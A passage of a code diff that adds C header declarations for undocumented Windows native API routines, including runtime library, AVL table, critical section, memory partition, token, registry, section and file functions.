RtlCreateSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor, + ULONG Revision + ); + +NTSTATUS NTAPI RtlSetOwnerSecurityDescriptor( + PSECURITY_DESCRIPTOR SecurityDescriptor, + PSID Owner, + BOOLEAN OwnerDefaulted + ); + +FORCEINLINE LUID +NTAPI +RtlConvertLongToLuid( + LONG Long + ) +{ + LUID TempLuid; + LARGE_INTEGER TempLi; + + TempLi.QuadPart = Long; + TempLuid.LowPart = TempLi.LowPart; + TempLuid.HighPart = TempLi.HighPart; + return(TempLuid); +} + +NTSTATUS NTAPI RtlFormatCurrentUserKeyPath( + _Out_ PUNICODE_STRING CurrentUserKeyPath + ); + +VOID NTAPI RtlFreeUnicodeString( + PUNICODE_STRING UnicodeString + ); + +VOID NTAPI RtlFreeAnsiString( + PANSI_STRING AnsiString + ); + +NTSTATUS NTAPI RtlAnsiStringToUnicodeString( + PUNICODE_STRING DestinationString, + PCANSI_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +BOOLEAN NTAPI RtlDosPathNameToNtPathName_U( + _In_ PCWSTR DosFileName, + _Out_ PUNICODE_STRING NtFileName, + _Out_opt_ PWSTR *FilePart, + PVOID Reserved + ); + +NTSTATUS NTAPI RtlGetCompressionWorkSpaceSize( + _In_ USHORT CompressionFormatAndEngine, + _Out_ PULONG CompressBufferWorkSpaceSize, + _Out_ PULONG CompressFragmentWorkSpaceSize + ); + +NTSTATUS NTAPI RtlCompressBuffer( + _In_ USHORT CompressionFormatAndEngine, + _In_ PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _Out_ PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_ ULONG UncompressedChunkSize, + _Out_ PULONG FinalCompressedSize, + _In_ PVOID WorkSpace + ); + +NTSTATUS NTAPI RtlDecompressBuffer( + _In_ USHORT CompressionFormat, + _Out_ PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _In_ PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _Out_ PULONG FinalUncompressedSize + ); + +PIMAGE_NT_HEADERS NTAPI RtlImageNtHeader( + _In_ PVOID Base + ); + +NTSYSAPI PVOID NTAPI RtlAddressInSectionTable( + _In_ PIMAGE_NT_HEADERS NtHeaders, + _In_ PVOID BaseOfImage, + _In_ ULONG VirtualAddress + ); + +PVOID NTAPI RtlImageDirectoryEntryToData( + PVOID BaseOfImage, + BOOLEAN MappedAsImage, + USHORT DirectoryEntry, + PULONG Size + ); + +VOID NTAPI RtlSecondsSince1970ToTime( + ULONG ElapsedSeconds, + PLARGE_INTEGER Time + ); + +VOID NTAPI RtlSecondsSince1980ToTime( + ULONG ElapsedSeconds, + PLARGE_INTEGER Time + ); + +BOOLEAN NTAPI RtlTimeToSecondsSince1980( + PLARGE_INTEGER Time, + PULONG ElapsedSeconds + ); + +VOID NTAPI RtlTimeToTimeFields( + _Inout_ PLARGE_INTEGER Time, + _Inout_ PTIME_FIELDS TimeFields + ); + +BOOLEAN NTAPI RtlTimeFieldsToTime( + PTIME_FIELDS TimeFields, + PLARGE_INTEGER Time + ); + +ULONG32 NTAPI RtlComputeCrc32( + _In_ ULONG32 PartialCrc, + _In_ PVOID Buffer, + _In_ ULONG Length + ); + +VOID NTAPI RtlGetNtVersionNumbers( + _Out_opt_ PULONG MajorVersion, + _Out_opt_ PULONG MinorVersion, + _Out_opt_ PULONG BuildNumber + ); + +PPEB NTAPI RtlGetCurrentPeb( + VOID + ); + +PWSTR NTAPI RtlIpv4AddressToStringW( + __in const struct in_addr *Addr, + __out_ecount(16) PWSTR S + ); + +NTSTATUS NTAPI RtlAdjustPrivilege( + ULONG Privilege, + BOOLEAN Enable, + BOOLEAN Client, + PBOOLEAN WasEnabled + ); + +// +// preallocated heap-growable buffers +// +typedef struct _RTL_BUFFER { + PUCHAR Buffer; + PUCHAR StaticBuffer; + SIZE_T Size; + SIZE_T StaticSize; + SIZE_T ReservedForAllocatedSize; // for future doubling + PVOID ReservedForIMalloc; // for future pluggable growth +} RTL_BUFFER, *PRTL_BUFFER; + +typedef struct _RTL_UNICODE_STRING_BUFFER { + UNICODE_STRING String; + RTL_BUFFER ByteBuffer; + UCHAR MinimumStaticBufferForTerminalNul[sizeof(WCHAR)]; +} RTL_UNICODE_STRING_BUFFER, *PRTL_UNICODE_STRING_BUFFER; + +NTSTATUS NTAPI RtlNtPathNameToDosPathName( + _In_ ULONG Flags, + _Inout_ PRTL_UNICODE_STRING_BUFFER Path, + _Out_opt_ PULONG Disposition, + _Inout_opt_ PWSTR* FilePart + ); + +ULONG NTAPI RtlIsDosDeviceName_U( + PCWSTR DosFileName + ); + +ULONG NTAPI RtlGetFullPathName_U( + __in PCWSTR lpFileName, + __in ULONG nBufferLength, + __out_bcount(nBufferLength) PWSTR lpBuffer, + __out_opt PWSTR *lpFilePart + ); + +typedef enum _RTL_PATH_TYPE { + RtlPathTypeUnknown, // 0 + RtlPathTypeUncAbsolute, // 1 + RtlPathTypeDriveAbsolute, // 2 + RtlPathTypeDriveRelative, // 3 + RtlPathTypeRooted, // 4 + RtlPathTypeRelative, // 5 + RtlPathTypeLocalDevice, // 6 + RtlPathTypeRootLocalDevice // 7 +} RTL_PATH_TYPE; + +RTL_PATH_TYPE NTAPI RtlDetermineDosPathNameType_U( + PCWSTR DosFileName + ); + +#define HASH_STRING_ALGORITHM_DEFAULT (0) +#define HASH_STRING_ALGORITHM_X65599 (1) +#define HASH_STRING_ALGORITHM_INVALID (0xffffffff) + +NTSTATUS NTAPI RtlHashUnicodeString( + _In_ const UNICODE_STRING *String, + _In_ BOOLEAN CaseInSensitive, + _In_ ULONG HashAlgorithm, + _Out_ PULONG HashValue +); + +ULONG DbgPrint( + _In_ PCH Format, + ... + ); + +/* +** Runtime Library API END +*/ + +/* +** Generic AVL API START +*/ +typedef ULONG CLONG; + +typedef enum _TABLE_SEARCH_RESULT { + TableEmptyTree, + TableFoundNode, + TableInsertAsLeft, + TableInsertAsRight +} TABLE_SEARCH_RESULT; + +typedef enum _RTL_GENERIC_COMPARE_RESULTS { + GenericLessThan, + GenericGreaterThan, + GenericEqual +} RTL_GENERIC_COMPARE_RESULTS; + +//typedef struct _RTL_AVL_TABLE RTL_AVL_TABLE; +//typedef struct PRTL_AVL_TABLE *_RTL_AVL_TABLE; + +typedef struct _RTL_BALANCED_LINKS { + struct _RTL_BALANCED_LINKS *Parent; + struct _RTL_BALANCED_LINKS *LeftChild; + struct _RTL_BALANCED_LINKS *RightChild; + CHAR Balance; + UCHAR Reserved[3]; +} RTL_BALANCED_LINKS, *PRTL_BALANCED_LINKS; + +typedef struct _RTL_AVL_TABLE { + RTL_BALANCED_LINKS BalancedRoot; + PVOID OrderedPointer; + ULONG WhichOrderedElement; + ULONG NumberGenericTableElements; + ULONG DepthOfTree; + PRTL_BALANCED_LINKS RestartKey; + ULONG DeleteCount; + FARPROC CompareRoutine; + FARPROC AllocateRoutine; + FARPROC FreeRoutine; + PVOID TableContext; +} RTL_AVL_TABLE, *PRTL_AVL_TABLE; + + +typedef RTL_GENERIC_COMPARE_RESULTS(NTAPI *PRTL_AVL_COMPARE_ROUTINE)( + _In_ _RTL_AVL_TABLE *Table, + _In_ PVOID FirstStruct, + _In_ PVOID SecondStruct + ); + +typedef PVOID(NTAPI *PRTL_AVL_ALLOCATE_ROUTINE)( + _In_ _RTL_AVL_TABLE *Table, + _In_ ULONG ByteSize + ); + +typedef VOID(NTAPI *PRTL_AVL_FREE_ROUTINE)( + _In_ _RTL_AVL_TABLE *Table, + _In_ _Post_invalid_ PVOID Buffer + ); + +typedef NTSTATUS(NTAPI *PRTL_AVL_MATCH_FUNCTION)( + _In_ _RTL_AVL_TABLE *Table, + _In_ PVOID UserData, + _In_ PVOID MatchData + ); + +VOID NTAPI RtlInitializeGenericTableAvl( + _Out_ PRTL_AVL_TABLE Table, + _In_ PRTL_AVL_COMPARE_ROUTINE CompareRoutine, + _In_ PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine, + _In_ PRTL_AVL_FREE_ROUTINE FreeRoutine, + _In_opt_ PVOID TableContext + ); + +PVOID NTAPI RtlInsertElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ CLONG BufferSize, + _Out_opt_ PBOOLEAN NewElement + ); + +PVOID NTAPI RtlInsertElementGenericTableFullAvl( + _In_ PRTL_AVL_TABLE Table, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ CLONG BufferSize, + _Out_opt_ PBOOLEAN NewElement, + _In_ PVOID NodeOrParent, + _In_ TABLE_SEARCH_RESULT SearchResult + ); + +BOOLEAN NTAPI RtlDeleteElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer + ); + +PVOID NTAPI RtlLookupElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer + ); + +PVOID NTAPI RtlLookupElementGenericTableFullAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer, + _Out_ PVOID *NodeOrParent, + _Out_ TABLE_SEARCH_RESULT *SearchResult + ); + +PVOID NTAPI RtlEnumerateGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ BOOLEAN Restart + ); + +PVOID NTAPI RtlEnumerateGenericTableWithoutSplayingAvl( + _In_ PRTL_AVL_TABLE Table, + _Inout_ PVOID *RestartKey + ); + +PVOID NTAPI RtlLookupFirstMatchingElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ PVOID Buffer, + _Out_ PVOID *RestartKey + ); + +PVOID NTAPI RtlEnumerateGenericTableLikeADirectory( + _In_ PRTL_AVL_TABLE Table, + _In_opt_ PRTL_AVL_MATCH_FUNCTION MatchFunction, + _In_opt_ PVOID MatchData, + _In_ ULONG NextFlag, + _Inout_ PVOID *RestartKey, + _Inout_ PULONG DeleteCount, + _In_ PVOID Buffer + ); + +PVOID NTAPI RtlGetElementGenericTableAvl( + _In_ PRTL_AVL_TABLE Table, + _In_ ULONG I + ); + +ULONG NTAPI RtlNumberGenericTableElementsAvl( + _In_ PRTL_AVL_TABLE Table + ); + +BOOLEAN NTAPI RtlIsGenericTableEmptyAvl( + _In_ PRTL_AVL_TABLE Table + ); + +/* +** Generic Avl END +*/ + +/* +** Critical Section START +*/ +#define LOGICAL ULONG + +NTSTATUS NTAPI RtlEnterCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS NTAPI RtlLeaveCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL NTAPI RtlIsCriticalSectionLocked( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL NTAPI RtlIsCriticalSectionLockedByThread( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +ULONG NTAPI RtlGetCriticalSectionRecursionCount( + IN PRTL_CRITICAL_SECTION CriticalSection + ); + +LOGICAL NTAPI RtlTryEnterCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +NTSTATUS NTAPI RtlInitializeCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +VOID NTAPI RtlEnableEarlyCriticalSectionEventCreation( + VOID + ); + +NTSTATUS NTAPI RtlInitializeCriticalSectionAndSpinCount( + PRTL_CRITICAL_SECTION CriticalSection, + ULONG SpinCount + ); + +ULONG NTAPI RtlSetCriticalSectionSpinCount( + PRTL_CRITICAL_SECTION CriticalSection, + ULONG SpinCount + ); + +NTSTATUS NTAPI RtlDeleteCriticalSection( + PRTL_CRITICAL_SECTION CriticalSection + ); + +/* +** Critical Section END +*/ + +/* +** UAC Elevation Start +*/ + +#define DBG_FLAG_ELEVATION_ENABLED 1 +#define DBG_FLAG_VIRTUALIZATION_ENABLED 2 +#define DBG_FLAG_INSTALLER_DETECT_ENABLED 3 + +NTSTATUS NTAPI RtlQueryElevationFlags( + _Inout_ ULONG *ElevationFlags + ); + +/* +** UAC Elevation END +*/ + + +/* +* Memory parition START +*/ + +typedef enum _MEMORY_PARTITION_INFORMATION_CLASS { + SystemMemoryPartitionInformation, + SystemMemoryPartitionMoveMemory, + SystemMemoryPartitionAddPagefile, + SystemMemoryPartitionCombineMemory, + SystemMemoryPartitionInitialAddMemory +} MEMORY_PARTITION_INFORMATION_CLASS; + +typedef struct _MEMORY_PARTITION_PAGE_RANGE { + ULONG_PTR StartPage; + ULONG_PTR NumberOfPages; +} MEMORY_PARTITION_PAGE_RANGE, *PMEMORY_PARTITION_PAGE_RANGE; + +typedef struct _MEMORY_PARTITION_INITIAL_ADD_INFORMATION { + ULONG Flags; + ULONG NumberOfRanges; + ULONG_PTR NumberOfPagesAdded; + MEMORY_PARTITION_PAGE_RANGE PartitionRanges[1]; +} MEMORY_PARTITION_INITIAL_ADD_INFORMATION, *PMEMORY_PARTITION_INITIAL_ADD_INFORMATION; + +typedef struct _MEMORY_PARTITION_PAGE_COMBINE_INFORMATION { + PVOID StopHandle; + ULONG Flags; + ULONG_PTR TotalNumberOfPages; +} MEMORY_PARTITION_PAGE_COMBINE_INFORMATION, *PMEMORY_PARTITION_PAGE_COMBINE_INFORMATION; + +typedef struct _MEMORY_PARTITION_PAGEFILE_INFORMATION { + UNICODE_STRING PageFileName; + LARGE_INTEGER MinimumSize; + LARGE_INTEGER MaximumSize; + ULONG Flags; +} MEMORY_PARTITION_PAGEFILE_INFORMATION, *PMEMORY_PARTITION_PAGEFILE_INFORMATION; + +typedef struct _MEMORY_PARTITION_TRANSFER_INFORMATION { + ULONG_PTR NumberOfPages; + ULONG NumaNode; + ULONG Flags; +} MEMORY_PARTITION_TRANSFER_INFORMATION, *PMEMORY_PARTITION_TRANSFER_INFORMATION; + +typedef struct _MEMORY_PARTITION_CONFIGURATION_INFORMATION { + ULONG Flags; + ULONG NumaNode; + ULONG Channel; + ULONG NumberOfNumaNodes; + ULONG_PTR ResidentAvailablePages; + ULONG_PTR CommittedPages; + ULONG_PTR CommitLimit; + ULONG_PTR PeakCommitment; + ULONG_PTR TotalNumberOfPages; + ULONG_PTR AvailablePages; + ULONG_PTR ZeroPages; + ULONG_PTR FreePages; + ULONG_PTR StandbyPages; +} MEMORY_PARTITION_CONFIGURATION_INFORMATION, *PMEMORY_PARTITION_CONFIGURATION_INFORMATION; + +NTSTATUS NTAPI NtOpenPartition( + _Out_ PHANDLE PartitionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtManagePartition( + _In_ HANDLE TargetHandle, + _In_ HANDLE SourceHandle, + _In_ MEMORY_PARTITION_INFORMATION_CLASS PartitionInformationClass, + _Inout_ PVOID PartitionInformation, + _In_ SIZE_T PartitionInformationLength + ); + +NTSTATUS NTAPI NtCreatePartition( + _Out_ PHANDLE PartitionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG PreferredNode + ); + +/* +* Memory partition END +*/ + +/* +** Native API START +*/ + +NTSTATUS NTAPI NtClose( + _In_ HANDLE Handle + ); + +NTSTATUS NTAPI NtCreateDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtCreateDirectoryObjectEx( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ShadowDirectoryHandle, + _In_ ULONG Flags + ); + +NTSTATUS NTAPI NtOpenDirectoryObject( + _Out_ PHANDLE DirectoryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryDirectoryObject( + _In_ HANDLE DirectoryHandle, + _Out_opt_ PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + _In_ BOOLEAN RestartScan, + _Inout_ PULONG Context, + PULONG ReturnLength + ); + +NTSTATUS NTAPI NtQueryObject( + _In_opt_ HANDLE Handle, + _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, + _Out_opt_ PVOID ObjectInformation, + _In_ ULONG ObjectInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS WINAPI NtQuerySystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _Inout_ PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtSetSystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_opt_ PVOID SystemInformation, + _In_ ULONG SystemInformationLength + ); + +NTSTATUS NTAPI NtCreateMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN InitialOwner + ); + +NTSTATUS NTAPI NtOpenMutant( + _Out_ PHANDLE MutantHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryMutant( + _In_ HANDLE MutantHandle, + _In_ MUTANT_INFORMATION_CLASS MutantInformationClass, + _Out_ PVOID MutantInformation, + _In_ ULONG MutantInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtReleaseMutant( + _In_ HANDLE MutantHandle, + _Out_opt_ PLONG PreviousCount + ); + +NTSTATUS NTAPI NtCreateTimer( + _In_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TIMER_TYPE TimerType + ); + +NTSTATUS NtSetTimer( + _In_ HANDLE TimerHandle, + _In_ PLARGE_INTEGER DueTime, + _In_opt_ PTIMER_APC_ROUTINE TimerApcRoutine, + _In_opt_ PVOID TimerContext, + _In_ BOOLEAN WakeTimer, + _In_opt_ LONG Period, + _Out_opt_ PBOOLEAN PreviousState + ); + +NTSTATUS NTAPI NtOpenTimer( + _In_ PHANDLE TimerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryTimer( + _In_ HANDLE TimerHandle, + _In_ TIMER_INFORMATION_CLASS TimerInformationClass, + _Out_ PVOID TimerInformation, + _In_ ULONG TimerInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtCreateSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PUNICODE_STRING LinkTarget + ); + +NTSTATUS WINAPI NtOpenSymbolicLinkObject( + _Out_ PHANDLE LinkHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQuerySymbolicLinkObject( + _In_ HANDLE LinkHandle, + _Inout_ PUNICODE_STRING LinkTarget, + _Out_opt_ PULONG ReturnedLength + ); + +NTSTATUS NTAPI NtQuerySemaphore( + _In_ HANDLE SemaphoreHandle, + _In_ SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + _Out_ PVOID SemaphoreInformation, + _In_ ULONG SemaphoreInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtQueryDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ BOOLEAN ReturnSingleEntry, + _In_opt_ PUNICODE_STRING FileName, + _In_ BOOLEAN RestartScan + ); + +NTSTATUS NTAPI NtNotifyChangeDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + __out_bcount(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree +); + +NTSTATUS NTAPI NtQuerySection( + _In_ HANDLE SectionHandle, + _In_ SECTION_INFORMATION_CLASS SectionInformationClass, + _Out_ PVOID SectionInformation, + _In_ SIZE_T SectionInformationLength, + _Out_opt_ PSIZE_T ReturnLength + ); + +NTSTATUS NtOpenSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtCreateSection( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle + ); + +NTSTATUS NTAPI NtMapViewOfSection( + _In_ HANDLE SectionHandle, + _In_ HANDLE ProcessHandle, + __inout PVOID *BaseAddress, + _In_ ULONG_PTR ZeroBits, + _In_ SIZE_T CommitSize, + _Inout_opt_ PLARGE_INTEGER SectionOffset, + _Inout_ PSIZE_T ViewSize, + _In_ SECTION_INHERIT InheritDisposition, + _In_ ULONG AllocationType, + _In_ ULONG Win32Protect + ); + +NTSTATUS NTAPI NtUnmapViewOfSection( + _In_ HANDLE ProcessHandle, + _In_ PVOID BaseAddress + ); + +NTSTATUS NTAPI NtOpenProcessToken( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PHANDLE TokenHandle + ); + +NTSTATUS NTAPI NtDuplicateToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ BOOLEAN EffectiveOnly, + _In_ TOKEN_TYPE TokenType, + _Out_ PHANDLE NewTokenHandle + ); + +#define DISABLE_MAX_PRIVILEGE 0x1 // winnt +#define SANDBOX_INERT 0x2 // winnt +#define LUA_TOKEN 0x4 +#define WRITE_RESTRICT 0x8 + +NTSTATUS NTAPI NtFilterToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ULONG Flags, + _In_opt_ PTOKEN_GROUPS SidsToDisable, + _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, + _In_opt_ PTOKEN_GROUPS RestrictedSids, + _Out_ PHANDLE NewTokenHandle + ); + +NTSTATUS NTAPI NtImpersonateAnonymousToken( + _In_ HANDLE ThreadHandle + ); + +NTSTATUS NTAPI NtQueryInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _Out_ PVOID TokenInformation, + _In_ ULONG TokenInformationLength, + _Out_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtSetInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _In_ PVOID TokenInformation, + _In_ ULONG TokenInformationLength + ); + +NTSTATUS NTAPI NtOpenThreadTokenEx( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle + ); + +NTSTATUS NTAPI NtAdjustPrivilegesToken( + _In_ HANDLE TokenHandle, + _In_ BOOLEAN DisableAllPrivileges, + _In_opt_ PTOKEN_PRIVILEGES NewState, + _In_opt_ ULONG BufferLength, + _Out_opt_ PTOKEN_PRIVILEGES PreviousState, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtQueryInformationToken( + _In_ HANDLE TokenHandle, + _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, + _Out_ PVOID TokenInformation, + _In_ ULONG TokenInformationLength, + _Out_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtCreateKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + __reserved ULONG TitleIndex, + _In_opt_ PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _Out_opt_ PULONG Disposition + ); + +NTSTATUS NTAPI NtOpenKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryKey( + _In_ HANDLE KeyHandle, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_opt_ PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSTATUS NTAPI NtQueryValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_ PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength + ); + +NTSTATUS NTAPI NtSetValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_opt_ ULONG TitleIndex, + _In_ ULONG Type, + _In_ PVOID Data, + _In_ ULONG DataSize + ); + +NTSTATUS NTAPI NtDeleteKey( + _In_ HANDLE KeyHandle + ); + +NTSTATUS NTAPI NtDeleteValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName + ); + +NTSTATUS NTAPI NtLoadDriver( + _In_ PUNICODE_STRING DriverServiceName + ); + +NTSTATUS NTAPI NtUnloadDriver( + _In_ PUNICODE_STRING DriverServiceName + ); + +NTSTATUS NTAPI NtOpenJobObject( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryInformationJobObject( + _In_opt_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _Out_ PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtOpenIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +NTSTATUS NTAPI NtQueryIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_ IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + _Out_ PVOID IoCompletionInformation, + _In_ ULONG IoCompletionInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +NTSTATUS NTAPI NtQueryInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass + ); + +NTSTATUS NTAPI NtQueryFullAttributesFile( + __in POBJECT_ATTRIBUTES ObjectAttributes, + __out PFILE_NETWORK_OPEN_INFORMATION FileInformation +); + +NTSTATUS NTAPI NtQueryDirectoryFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass, + _In_ BOOLEAN ReturnSingleEntry, + _In_opt_ PUNICODE_STRING FileName, + _In_ BOOLEAN RestartScan + ); + +NTSTATUS NTAPI NtQueryEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + __out_bcount(Length) PVOID Buffer, + _In_ ULONG Length, + _In_ BOOLEAN ReturnSingleEntry, + __in_bcount_opt(EaListLength) PVOID EaList, + _In_ ULONG EaListLength, + _In_opt_ PULONG EaIndex, + _In_ BOOLEAN RestartScan + ); + +NTSTATUS NTAPI NtSetEaFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + __in_bcount(Length) PVOID Buffer, + _In_ ULONG Length + ); + +NTSTATUS NTAPI NtQueryVolumeInformationFile( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FsInformation, + _In_ ULONG Length, + _In_ FS_INFORMATION_CLASS FsInformationClass + ); + +NTSTATUS NTAPI NtOpenFile( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG OpenOptions + ); + +NTSTATUS NTAPI NtReadFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + __out_bcount(Length) PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key + ); + +NTSTATUS NTAPI NtWriteFile( + _In_ HANDLE FileHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ PVOID Buffer, + _In_ ULONG Length, + _In_opt_ PLARGE_INTEGER ByteOffset, + _In_opt_ PULONG Key + ); + 